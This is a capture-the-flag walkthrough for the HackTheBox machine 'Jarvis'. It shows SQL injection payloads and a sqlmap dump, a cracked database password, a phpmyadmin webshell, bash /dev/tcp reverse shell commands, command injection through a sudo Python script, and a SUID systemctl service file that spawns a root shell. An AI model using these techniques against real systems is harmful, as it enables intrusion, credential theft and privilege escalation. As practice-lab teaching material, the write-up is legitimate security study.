A medium Linux box from HackTheBox, exploit a SQLi to get admin creds to phpmyadmin to upload a webshell and get initial access, then exploit command injection in a script with sudo privileges to elevate to a user and use a SUID enabled systemctl from there to get root.


Normal nmap

georgy@pop-os:~/Documents/htb/jarvis$ sudo nmap -sC -sV -Pn -oA nmap/init

22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 03f34e22363e3b813079ed4967651667 (RSA)
|   256 25d808a84d6de8d2f8434a2c20c85af6 (ECDSA)
|_  256 77d4ae1fb0be151ff8cdc8153ac369e1 (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
| http-cookie-flags: 
|   /: 
|_      httponly flag not set
|_http-title: Stark Hotel
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Dont get much information besides that there is port 80 open, start an all port scan in the background and look at the site

georgy@pop-os:~/Documents/htb/jarvis$ sudo nmap -T4 -p- -o nmap/allports

End up with a site hotel booking site

Can also see the domain name, supersecurehotel.htb, add it to /etc/hosts

Also find an email in the footer, supersecurehotel@logger.htb

The all-port nmap scan also completed and found another port open, 64999

22/tcp    open  ssh
80/tcp    open  http
64999/tcp open  unknown

Doing another quick scan on it to enumerate the service and find another HTTP server

georgy@pop-os:~/Documents/htb/jarvis$ sudo nmap -sC -sV -p 64999

64999/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.25 (Debian)

Navigating to it in the browser, an it just says “You have been banned for 90 seconds, dont do anything bad”

Run a wfuzz for subdomains on the HTTP server on 80, but dont find anything

georgy@pop-os:~/Documents/htb/jarvis$ wfuzz -w /opt/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H "Host: FUZZ.supersecurehotel.htb" --hh 23628 http://supersecurehotel.htb

Boot up a couple gobusters on both sites and find that the port 80 site has phpmyadmin, navigating to it, view source and see that the version is 4.8.0

# For port 80

georgy@pop-os:~/Documents/htb/jarvis$ gobuster dir -w /opt/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php -t 30 --url http://supersecurehotel.htb

/css                  (Status: 301) [Size: 326] [--> http://supersecurehotel.htb/css/]
/index.php            (Status: 200) [Size: 23628]                                     
/fonts                (Status: 301) [Size: 328] [--> http://supersecurehotel.htb/fonts/]
/phpmyadmin           (Status: 301) [Size: 333] [--> http://supersecurehotel.htb/phpmyadmin/]
/nav.php              (Status: 200) [Size: 1333]                                             
/images               (Status: 301) [Size: 329] [--> http://supersecurehotel.htb/images/]    
/js                   (Status: 301) [Size: 325] [--> http://supersecurehotel.htb/js/]        
/footer.php           (Status: 200) [Size: 2237]                                             
/connection.php       (Status: 200) [Size: 0]                                                
/server-status        (Status: 403) [Size: 308]                                              
/room.php             (Status: 302) [Size: 3024] [--> index.php]     

# For port 64999

georgy@pop-os:~/Documents/htb/jarvis$ gobuster dir -w /opt/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php -t 30 --url

/server-status        (Status: 403) [Size: 303]

Kind of a dead end, so poke around the site some more and find that the room.php bookings work, can click on a room and it will bring you to another page with a parameter set in the URL bar


Maybe there is a SQLi here?

Lets try a base case,

http://supersecurehotel.htb/room.php?cod=2 and 1=1

Should return the same room as just cod=2, and it does

Now we can test if there is a SQLi by making the second statement error out, if it returns nothing (because the statement evaluates to false) then there is very likely a SQLi here

http://supersecurehotel.htb/room.php?cod=2 and 1=2

Which returns nothing, IE an error, so we have SQLi!


First, need to find out how many columns the current table has, will use ORDER BY in this case, when we get the n+1 number of columns, the page will not render properly, so we subtract 1 from the current attempt and thats the number of columns we have in the current table

Starting with

http://supersecurehotel.htb/room.php?cod=2 ORDER BY 1

http://supersecurehotel.htb/room.php?cod=2 ORDER BY 2


http://supersecurehotel.htb/room.php?cod=2 ORDER BY 8 -> FAILS

Therefore, we have 7 columns in the table

Here I dont want to manually dump a database with a blind boolean injection, so I let sqlmap do it

Capture the request to the injectable URL with burp, and run sqlmap to enumerate DBs

georgy@pop-os:~/Documents/htb/jarvis$ sqlmap -r room.req --risk=3 --dbs

[00:01:22] [INFO] retrieved: 'performance_schema'
available databases [4]:                                                                              
[*] hotel
[*] information_schema
[*] mysql
[*] performance_schema

Lets dump the “mysql” db first, most likely to have creds - got to find table names first

georgy@pop-os:~/Documents/htb/jarvis$ sqlmap -r room.req --risk=3 -D mysql --tables

[30 tables]
| user                      |
| column_stats              |
| columns_priv              |
| db                        |
| event                     |
| func                      |
| general_log               |
| gtid_slave_pos            |
| help_category             |
| help_keyword              |
| help_relation             |
| help_topic                |
| host                      |
| index_stats               |
| innodb_index_stats        |
| innodb_table_stats        |
| plugin                    |
| proc                      |
| procs_priv                |
| proxies_priv              |
| roles_mapping             |
| servers                   |
| slow_log                  |
| table_stats               |
| tables_priv               |
| time_zone                 |
| time_zone_leap_second     |
| time_zone_name            |
| time_zone_transition      |
| time_zone_transition_type |

Lets dump the “user” table

georgy@pop-os:~/Documents/htb/jarvis$ sqlmap -r room.req --risk=3 -D mysql -T user --dump

And inside find a user, DBadmin and their hash, 2d2b7a5e4e637b8fba1d17f40318f277d29964d0 (A MySQL5 hash)

Now cracking the password with hashcat, get the creds - DBadmin:imissyou

georgy@pop-os:~/Documents/htb/jarvis$ hashcat -m 300 hash /opt/seclists/Passwords/Leaked-Databases/rockyou.txt 



Now lets go over to the phpmyadmin page and try to login, and get in!

Searching around online, find out that we can upload a PHP webshell using the SQL query box inside of phpmyadmin, link here

Their webshell didnt work, and instead I used this one liner

Inside the query editor it looked like this

Then after the query went through successfully, navigated to the webshell and found that we have code exec!

Now to upgrade to a reverse shell will start a listener on 8888 and send this payload

/bin/bash -c "/bin/bash -i >& /dev/tcp/ 0>&1"

# URL encode it so we can send it in browser


And catch a shell!

Connection received on 46626
bash: cannot set terminal process group (693): Inappropriate ioctl for device
bash: no job control in this shell
www-data@jarvis:/var/www/html$ whoami

Immediatedly find a script we can run as the “pepper” user, simpler.py

www-data@jarvis:/var/www/html$ sudo -l
sudo -l
Matching Defaults entries for www-data on jarvis:
    env_reset, mail_badpass,

User www-data may run the following commands on jarvis:
    (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py

Looking at the file, its a python file that lets you choose one of three options, list stats, ping an IP or analyze some logs - a bit of a command injection hint is shown for the ping command

def exec_ping():
    forbidden = ['&', ';', '-', '`', '||', '|']
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Got you')
    os.system('ping ' + command)

There is a filter, but can bypass it by creating an executable reverse shell first in /tmp


bash -i >& /dev/tcp/ 0>&1
www-data@jarvis:/tmp$ chmod 777 revshell.sh

Start a listener on 4444 on localhost

Then running the script as pepper

www-data@jarvis:/tmp$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p

But injecting the command using by including a “$(/tmp./revshell.sh)” in the input

Enter an IP: localhost$(/tmp/./revshell.sh)

And catch the pepper shell!

Connection received on 33904
pepper@jarvis:/tmp$ whoami

On this new user find that systemctl has SUID privileges, which we can use to escalate privileges

pepper@jarvis:~$ find / -perm -u=s -type f 2>/dev/null

Following this guide , create the following root.service file and start a listener on 1234


ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ 0>&1'


First enable the service

pepper@jarvis:~$ /bin/systemctl enable /home/pepper/root.service
Created symlink /etc/systemd/system/multi-user.target.wants/root.service -> /home/pepper/root.service.
Created symlink /etc/systemd/system/root.service -> /home/pepper/root.service.

Then start the service and catch the shell!

pepper@jarvis:~$ /bin/systemctl start root
Connection received on 45600
bash: cannot set terminal process group (9307): Inappropriate ioctl for device
bash: no job control in this shell
root@jarvis:/# whoami